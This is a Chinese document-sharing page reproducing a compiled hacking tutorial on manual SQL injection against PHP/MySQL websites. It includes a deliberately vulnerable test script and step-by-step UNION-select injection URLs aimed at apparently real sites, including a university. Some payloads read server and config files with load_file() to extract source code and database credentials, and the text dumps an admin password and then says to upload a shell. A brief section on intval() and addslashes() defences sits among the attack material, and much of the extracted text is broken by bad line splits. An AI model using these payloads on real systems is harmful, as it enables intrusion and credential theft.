php注入.docx
- 文档编号:30559666
- 上传时间:2023-08-16
- 格式:DOCX
- 页数:56
- 大小:1.12MB
php注入.docx
《php注入.docx》由会员分享,可在线阅读,更多相关《php注入.docx(56页珍藏版)》请在冰豆网上搜索。
php注入
手工注入_拿下一般的php网站
2007年02月09日星期五22:
39
把下面保存成Test.php
$mysql_server_name="localhost";
$mysql_username ="root";
$mysql_password ="password";
$mysql_database ="phpzr"; //?
?
ݿ?
?
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password);
mysql_select_db($mysql_database,$conn);
$id=$_GET['id'];
$sql="selectusername,passwordfromadminwhereid=$id";
$result=mysql_db_query($mysql_database,$sql,$conn);
$row=mysql_fetch_row($result);
?
>
注入测试专用
=$row[0]?
>
=$row[1]?
>
孤狐浪子QQ:
393214425
Http:
//
创建数据库代码:
保存成test.sql使用phpmyadmin执行就ok了
CREATEDATABASE`phpzr`;//创建数据库名称
CREATETABLEadmin(
idint(10)unsignedNOTNULLauto_increment,
usernamechar(10)NOTNULLdefault'',
passwordchar(10)NOTNULLdefault'',
useremailchar(20)NOTNULLdefault'',
groupidint(11)NOTNULLdefault'0',
PRIMARYKEY(id)
)TYPE=MyISAM;
INSERTINTOadminVALUES(1,'admin','','itpro@',1);
INSERTINTOadminVALUES(2,'admin1','','itpro@',2);
INSERTINTOadminVALUES(3,'admin2','','itpro@',3);
INSERTINTOadminVALUES(4,'admin3','','itpro@',4);
INSERTINTOadminVALUES(5,'admin4','','itpro@',5);
CREATETABLEadmin1(
idint(10)unsignedNOTNULLauto_increment,
usernamechar(10)NOTNULLdefault'',
passwordchar(10)NOTNULLdefault'',
useremailchar(20)NOTNULLdefault'',
groupidint(11)NOTNULLdefault'0',
PRIMARYKEY(id)
)TYPE=MyISAM;
INSERTINTOadmin1VALUES(1,'admin','','itpro@',1);
INSERTINTOadmin1VALUES(2,'admin1','','itpro@',2);
INSERTINTOadmin1VALUES(3,'admin2','','itpro@',3);
INSERTINTOadmin1VALUES(4,'admin3','','itpro@',4);
INSERTINTOadmin1VALUES(5,'admin4','','itpro@',5);
工注入_拿下一般的php网站
拿下一般的php网站,我是茫茫涯,QQ:
89351687 一起学习!
!
!
目标网站:
:
81
注入点:
:
81/news.php?
id=780
1.认识注入类型
不管是asp.aspx.php,注入的标准类型必为
2.判断是否存在注入
不管是asp.aspx.php,注入点的判断都是这样的
http:
//xxx.xxx.xxx.xxx/down/show.php?
id=26 and 1=1返回正常页
http:
//xxx.xxx.xxx.xxx/down/show.php?
id=26 and 1=2,返回错误页
存在注入
3.猜解准确字段数
(不明白原理的请多看看这方面的文章,这只讲实际运用)
利用union来查询准确字段,如:
and 1=2 union select 1,2,3,.......直到返回正常,说明猜到准确字
段数。
如过滤了空格可以用 /**/代替。
:
81/news.php?
id=780 and 1=2 union select 1,2,3,4,5,6,7
:
81/news.php?
id=780/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7
记下这个位置,3 和5
4.mysql也有内置变量,可以帮助我们获得更多信息
version()(4.0.21-nt)返回当前数据库版本信息,database(){db_atextile_org_cn} 返回当前数据库
名,user(),{tt1330@localhost}返回MYSQL用户名,可以帮助我们获得更多信息。
这些都是很基础的东西
现在就在3和5这插入
:
81/news.php?
id=780%20and%201=2%20union%20select%201,2,version
(),4,5,6,7
Load_file可以返回文件的内容
(1),读取系统信息
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition
(1)\WINDOWS [operating
systems] multi(0)disk(0)rdisk(0)partition
(1)\WINDOWS="Windows Server 2003, Enterprise"
/fastdetect /NoExecute=OptOut multi(0)disk(0)rdisk
(1)partition
(1)\WINDOWS="Boot Mirror C:
-
secondary plex" multi(0)disk(0)rdisk
(1)partition
(1)\WINDOWS="Boot Mirror C:
- secondary
plex"
(2)读取php配置信息
我们转化一下,
load_file('c:
\boot.ini')=load_file(char(99,58,92,98,111,111,116,46,105,110,105))
5.准确猜解表
如:
and 1=1 union select 1,2,3,4,5,6.... from user 如果返回正常说明存在这个表。
:
81/news.php?
id=780 and 1=1 union select 1,2,3,4,5,6,7 from admin
说明没有admin表
:
81/news.php?
id=780 and 1=1 union select 1,2,3,4,5,6,7 from user
正常说明有这个表
6.猜解表中的字段
and 1=1 union select 1,username,3,4,5,6.... from user/*如果字段显示出字段内容则存在些字段。
:
81/news.php?
id=780 and 1=1 union select 1,2,user,4,5,6,7 from user
:
81/news.php?
id=780 and 1=1 union select 1,2,name,4,5,6,7 from user
有字段name
同理再猜解password字段,猜解成功再找后台登录。
:
81/news.php?
id=780 and 1=1 union select 1,2,pass,4,5,6,7 from user
:
81/news.php?
id=780 and 1=1 union select 1,2,pwd,4,5,6,7 from user
有字段pwd
7.暴管理员的用户名,密码是多少
:
81/news.php?
id=780 and 1=2 union select 1,2,3,4,5,6,7 from user
:
81/news.php?
id=780 and 1=2 union select 1,2,pwd,4,name,6,7 from user
name:
admin
pwd:
83863176
7.登录后台,上传shell。
PHP注入实例之PHP网站系统入侵(图)来源:
互联网作者:
佚名时间:
10-0819:
37:
59【大中小】点评:
听承诺说CASI出2.0了,而且承诺也给了一个有漏洞的地址,正好没事就测试了一下,最近非常郁闷,学不下去,正好今天承诺勾起了我学习php的美好时光,看看自己还能不能搞这样的站吧.过程:
承诺给的地址是很标准
下面我们就要想办法来读取config的配置文件了,因为前面我们得到了web的路径所以读取就很轻松了
构建语句_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1">and1=2unionselect50,9,8,load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),6,5,4,3,2,1
如图五
可是和我们想的不一样,并没有得到php源代码,原来php的代码再服务器端执行了,这个时候我们可以用angel的办法利用into outfile来把要读取的文件备份到服务器上,可是我没有这样做,因为我不想局限于别人的思路我认为mysql一定有强大的函数能帮助我们的,记得以前学习php的时候学字符串函数的时候学到了这样一个函数就是replace()他的作用就是把指定的字符串换成我们想要的字符串,我觉得一定能够利用,
附:
replace()函数原形
REPLACE(str,from_str,to_str)返回字符串str,其字符串from-str的所有出现有字符串to-str代替
mysql>SELECTREPLACE('','w','Ww');
->'WwWwW'
到这里我就想了php源代码的固定形式是这样的,
那么我们如果打破规则,把中的
_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">and1=2unionselect50,9,8,replace(load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,115,104,111,119,98,111,97,114,100,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1
char(60)是
他的意思就是把换成空格,我们已经成功了,大家看图,
如图6
好了到这里我们的目的就是读取config的文件了他的config文件是/home/newgt/localdata.php,
够建语句如下
_file(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1">and1=2unionselect50,9,8,replace(load_file(char(47,104,111,109,101,47,110,101,119,103,116,47,108,111,99,97,108,100,97,116,97,46,112,104,112)),char(60),char(32)),6,5,4,3,2,1
如图7我们就已经得到了config的文件了,
如图7
到这里我们的思路就应该清楚了,我就不在往下做了,如果大家感兴趣的话可以参考我以前的文章来继续渗透,这里我们已经能够清楚的看到一个小小的注入漏洞就能引出这么大的漏洞,希望国内的人重视起来,下面是解决办法防范可以从两个方面着手,一个就是服务器,二个就是代码本身,介绍服务器配置的文章很多了,无非就是把magic_quotes_gpc设置为On,display_errors设置为Off,这里也就不在多说,既然本文接触都是程序的问题,我们还是从程序本身寻找原因。
如果说php比asp易用,安全,从内置的函数就可以体现出来。
如果是整形的变量,只需使用一个intval()函数即可解决问题,在执行查询之前,我们先处理一下变量,如下面的例子就是很安全的了:
$id=intval($id);
mysql_query("SELECT*FROMarticleWHEREarticleid='$id'");
或者这样写:
mysql_query("SELECT*FROMarticleWHEREarticleid=".intval($id)."")
不管如何构造,最终还是会先转换为整形猜放入数据库的。
很多大型程序都是这样写,非常简洁。
字符串形的变量也可以用addslashes()整个内置函数了,这个函数的作用和magic_quotes_gpc一样,使用后,所有的'(单引号),"(双引号),(反斜线)and空字符会自动转为含有反斜线的溢出字符。
而且新版本的php,就算magic_quotes_gpc打开了,再使用addslashes()函数,也不会有冲突,可以放心使用。
例子如下:
$username=addslashes($username);
mysql_query("SELECT*FROMmembersWHEREuserid='$username'");
或者这样写:
mysql_query("SELECT*FROMmembersWHEREuserid=".addslashes($username)."")
使用addslashes()函数还可以避免引号配对错误的情况出现。
而刚才的前面搜索引擎的修补方法就是直接把"_"、"%"转换为"_""%"就可以了,当然也不要忘记使用addslashes()函数。
具体代码如下:
$keywords=addslashes($keywords);
$keywords=str_replace("_","_",$keywords);
$keywords=str_replace("%","%",$keywords);
好了,这篇文章就写到这里
详细出处参考:
详细出处参考:
2楼
前言:
现在的网络,最流行的攻击手段有两种,一种是缓冲区溢出攻击,一种是SQL注入,相对而言,最流行的还是脚本注入,而脚本注入漏洞更是风靡黑客界。
不管是老鸟还是新起步的小菜,都会为它那巨大的威力和灵活多变的招式所着迷!
正是因为注入攻击的流行,使的市面上的注入工具层出不穷!
比较出名的有小竹的NBSI、教主的HDSI和啊D的注入工具等等!
这大大方便的小菜们掌握注入漏洞!
可是,工具是死的,注入的手法却是活的,能否根据实际情况灵活地构造SQL注入语句,得到自己想要的信息,是高手与小菜的根本区别!
只用工具,而不去管它的原理,是不可能得到提高的,当然,在遇到一些特殊情况的时候,那些只会用工具的小菜们也只能放弃了!
所以学会手工注入自己构造SQL注入语句是一个黑客爱好者必上的一堂课!
我希望这篇文章能够给那些还不会手工注入的朋友一点启发!
帮助大家早日摆脱工具,早日踏入 高手的行列!
初级篇
PHP注入的常规手段也是先判断注入点,我们现在以华东理工大学的一个注入点( and 1=1 返回正确页面,如图一:
2010-1-211:
45
回复
3楼
再输入 and 1=2 返回错误页面,如图二
2010-1-211:
45
回复
4楼
那么这样就可以判断此处存在注入点。
然后就是判断字段长度,使用的语句是“order by”在网址后面输入 order by 10 返回正确
2010-1-211:
46
回复
5楼
说明字段长度大于10,然后再输入 order by 20 返回错误页面,如图四:
2010-1-211:
46
回复
6楼
说明字段长度在10到20之间,当我们输入 order by 11 的时候返回的也是错误页面,这就确定了字段长度为10
然后使用语句“and 1=2 union select 1,2,3,4,5,6,7,8,9,10”爆出2,4,5,6四个字段位置,如图五:
2010-1-211:
47
回复
7楼
在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名,数据库名称 以及mysql的版本,这里 我把 字段4换成 user() 也就是说 让页面在字段4的位置 显示当前数据库连接的用户名
... 0union%20select%201,2,3,user(),5,6,7,8,9,10,如图六
2010-1-211:
47
回复
8楼
继续换成其它的函数名,分别显示,如图七,图八
2010-1-211:
48
回复
9楼
图八
2010-1-211:
48
回复
10楼
然后是猜解管理员的表明 这里说明下 如果当前连接数据库的用户是 root的话 可以尝试使用 loadfile()函数来查看文件内容 不过前提是要知道文件的绝对路径 这里 我们猜解下管理员表名 在语句后加上 from 表名
... 0union%20select%201,2,3,4,5,6,7,8,9,10%20from%20admin ,如图九
2010-1-211:
49
回复
11楼
返回错误页面说明不存在admi
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- php 注入